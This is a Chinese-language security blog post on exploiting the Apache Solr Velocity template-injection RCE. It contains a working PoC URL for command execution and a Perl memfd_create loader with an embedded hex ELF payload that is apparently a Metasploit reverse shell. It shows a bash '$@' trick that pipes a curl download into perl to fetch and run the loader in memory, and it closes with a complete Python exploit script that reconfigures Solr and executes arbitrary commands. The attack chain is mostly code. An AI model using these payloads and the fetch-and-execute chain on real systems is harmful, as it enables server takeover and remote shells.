Apache Solr Velocity RCE 真的 getshell 了嗎

  • 2019 年 11 月 14 日
  • 筆記

本文作者:haya(信安之路紅藍對抗小組成員) 成員招募:信安之路紅藍對抗小組招募志同道合的朋友

在復現 Apache Solr Velocity 模板注入時,發現了一些問題,因為這些問題即使可以執行命令,也不能進行後續滲透。

公開的 poc

根據目前普遍流傳的 poc 來看,執行命令的 poc 為:

select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

於是,可以自定義執行命令的 poc 為:

url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

面臨的問題

實際測試 getshell 中,遇到了兩個問題:

1、只能執行命令,無法寫入文件。

2、不能使用管道符重定向文件

這樣我們無法上傳文件,也不方便後續滲透,這樣的 rce 就比較尷尬了。

問題分析與解決

在部分環境中無法向磁碟寫入文件,甚至無法 ls /home/solr 直接 500 錯誤

通過記憶體載入文件不落地可以解決該問題。

參考開源項目:

https://github.com/fbkcs/msf-elf-in-memory-execution

這裡使用 msf 生成了個 payload shell.elf。

考慮到目標環境有 perl,所以本次使用 perl 來載入,將自己的 payload 放入載入器:

╰─ perl -e '$/=32;print"print $FH pack q/H*/, q/".(unpack"H*")."/ or die qq/write: $!/;n"while(<>)'  shell.elfprint $FH pack q/H*/, q/7f454c4601010100000000000000000002000300010000005480040834000000/ or die qq/write: $!/;print $FH pack q/H*/, q/0000000000000000340020000100000000000000010000000000000000800408/ or die qq/write: $!/;print $FH pack q/H*/, q/00800408cf0000004a01000007000000001000006a0a5e31dbf7e35343536a02/ or die qq/write: $!/;print $FH pack q/H*/, q/b06689e1cd80975b68c0a801d2680200115c89e16a665850515789e143cd8085/ or die qq/write: $!/;print $FH pack q/H*/, q/c079194e743d68a2000000586a006a0589e331c9cd8085c079bdeb27b207b900/ or die qq/write: $!/;print $FH pack q/H*/, q/10000089e3c1eb0cc1e30cb07dcd8085c078105b89e199b60cb003cd8085c078/ or die qq/write: $!/;print $FH pack q/H*/, q/02ffe1b801000000bb01000000cd80/ or die qq/write: $!/;

將可執行文件輸出,再傳入文件描述符,通過 exec 來記憶體執行。

完整的 solr.pl 程式碼如下:

my $name = "";my $fd = syscall(319, $name, 1);if (-1 == $fd) {          die "memfd_create: $!";  }open(my $FH, '>&='.$fd) or die "open: $!";select((select($FH), $|=1)[0]);print $FH pack q/H*/, q/7f454c4601010100000000000000000002000300010000005480040834000000/ or die qq/write: $!/;print $FH pack q/H*/, q/0000000000000000340020000100000000000000010000000000000000800408/ or die qq/write: $!/;print $FH pack q/H*/, q/00800408cf0000004a01000007000000001000006a0a5e31dbf7e35343536a02/ or die qq/write: $!/;print $FH pack q/H*/, q/b06689e1cd80975b68c0a801d2680200115c89e16a665850515789e143cd8085/ or die qq/write: $!/;print $FH pack q/H*/, q/c079194e743d68a2000000586a006a0589e331c9cd8085c079bdeb27b207b900/ or die qq/write: $!/;print $FH pack q/H*/, q/10000089e3c1eb0cc1e30cb07dcd8085c078105b89e199b60cb003cd8085c078/ or die qq/write: $!/;print $FH pack q/H*/, q/02ffe1b801000000bb01000000cd80/ or die qq/write: $!/;exec {"/proc/$$/fd/$fd"} or die "exec: $!";

嘗試獲取 shell。

並沒有成功,這裡涉及到第二個問題。

Java 中 Velocity #set 指令是向引擎上下文對象添加屬性或對已有屬性進行修改。

那注入的這個模板進行命令執行實際上也是用了 getRuntime().exec()

getRuntime().exec() 不能直接傳入管道符

繞過方法有很多,我這裡用到的是$@$@ 在 linux 中代表腳本執行的參數。

(在命令行中執行稍有不同,需要加引號:/bin/bash -c '$@|perl' foo curl http://localhost/solr.pl

/bin/bash -c $@|perl foo curl http://localhost/solr.pl// $@ 將foo當成要運行的腳本,將 curl http://localhost/solr.pl 作為參數傳遞

curl 獲得 meterpreter。

完整 poc

import requestsimport jsonimport sys    def get_name(url):    print "[-] Get core name."    url += "/solr/admin/cores?wt=json&indexInfo=false"    conn = requests.request("GET", url=url)    name = "test"    try:        name = list(json.loads(conn.text)["status"])[0]    except:        pass    return name  def update_config(url, name):      url += "/solr/"+name+"/config"    print "[-] Update config.", url    headers = {"Content-Type": "application/json",               "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"}    post_data = """    {      "update-queryresponsewriter": {        "startup": "lazy",        "name": "velocity",        "class": "solr.VelocityResponseWriter",        "template.base.dir": "",        "solr.resource.loader.enabled": "true",        "params.resource.loader.enabled": "true"      }    }    """    conn = requests.request("POST", url, data=post_data, headers=headers)    if conn.status_code != 200:        print "update config error: ", conn.status_code        sys.exit(1)    def poc(url):    print "[-] Start get ."    core_name = get_name(url)    url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"    print(url)    conn = requests.request("GET", url, timeout=6, verify=False)    print conn.text    if __name__ == '__main__':    target = sys.argv[1]    cmd = sys.argv[2]    poc(target)// Form https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template